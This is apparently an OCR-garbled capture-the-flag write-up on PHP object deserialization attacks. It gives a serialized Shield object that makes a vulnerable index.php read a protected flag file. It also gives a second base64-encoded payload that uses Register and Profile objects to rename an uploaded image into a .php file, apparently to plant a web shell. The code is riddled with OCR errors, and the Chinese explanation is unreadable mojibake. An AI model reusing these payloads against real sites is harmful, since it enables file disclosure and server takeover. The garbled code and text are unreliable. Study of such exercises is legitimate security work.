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13class{

public $serv = "gurenmeng";
public $num = 123456;

}

$obj = new grm();

echo serialize($obj);
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FHIE R : 10:3:"grm":2:{s:4:"serv";s:9:"gurenmeng";s:3:"num";i: 123456;}
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5%obj = new grm();

$a = serialize($obj);
var_dump(unserialize($a));
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11//index.php
require_once('shield.php');
$x = new Shield();

isset($_GET['class) && $g = $ GET['class’;



if ('lempty($9g)) {
$x = unserialize($g);
}

echo $x->readfile();

?>
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14//showimg.php

$f = $_GET[img’;

if ('empty($f)) {

$f = base64_decode($f);

if (stripos($f,"..")===FALSE && stripos($f,/')===FALSE && stripos($f,\')===FALSE
&& stripos($f,'pctf')===FALSE) {
readfile($f);

}else {

echo "File not found!",;

}

}
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/flag is in pctf.php

class Shield{

public $file;

function __construct($filename = "){
$this -> file = $filename;

}

function readfile(){

if (lempty($this->file) && stripos($this->file,'..")===FALSE
&& stripos($this->file,'/'y===FALSE && stripos($this->file,\')==FALSE) {

return @file_get_contents($this->file);



}

}

}

$obj = new Shield("pctf.php");

echo serialize($obj);
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7/lpctf.php

/[Ture Flag : PCTF{W3lcome_To_Shi3ld_secret_Ar3a}
IIFake flag:

echo "FLAG: PCTF{l_4m not_fl4g}"

?>
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4if (fempty($9)) {

$x = unserialize($g);

}

echo $x->readfile();

MREEAN—DNFIINHZRF S, SRS RFFIN, K51 MHreadfile()s H— A BidHE .

fEshield.php3C -+, B—/ shield3, FKEEA —MIE R, FkRwgEwSfile, HEEXH%, readfile()r
ERE AR E, BER B SRR

BB A .  construct()(Tt{H $filefd Fpctf.php)->readfile()( B #iE B pctf.php)
payload: 1

2

3

4



10

11

12

13

14

15<?php

class Shield{

public $file;

function __construct($filename = "){

$this -> file = $filename;

}

}

$obj = new Shield("pctf.php");

echo serialize($obj);

?>

//0:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
/lindex.php?class=0:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
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30payload:

namespace appwebcontroller;
class Profile{

public $ext;

public $filename_tmp;

public $filename;

public $except;

}

class Register{

public $checker;

public $registed;

}

$reg = new Register();

$pro = new Profile();
$pro->except = array(‘index=>'upload_img');
$pro->ext = 1;

$pro->filename_tmp =
'upload/9862a5f0c459c3f78badbab12279ea3d/b1a224c24d78e208556d6206b9ec7c72.png’;

$pro->filename = 'upload/9862a5f0c459¢3f78badbab12279ea3d/gurenmeng.php’;
$reg->checker = $pro;

$reg->registed = 0;

echo base64_encode(serialize($reg));

?>
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11public function __get($name)

{

return $this->except[$name];

}

public function __call($name, $arguments)
{

if($this->{$Sname}
$this->{$this->{$name}}($arguments);
}

}
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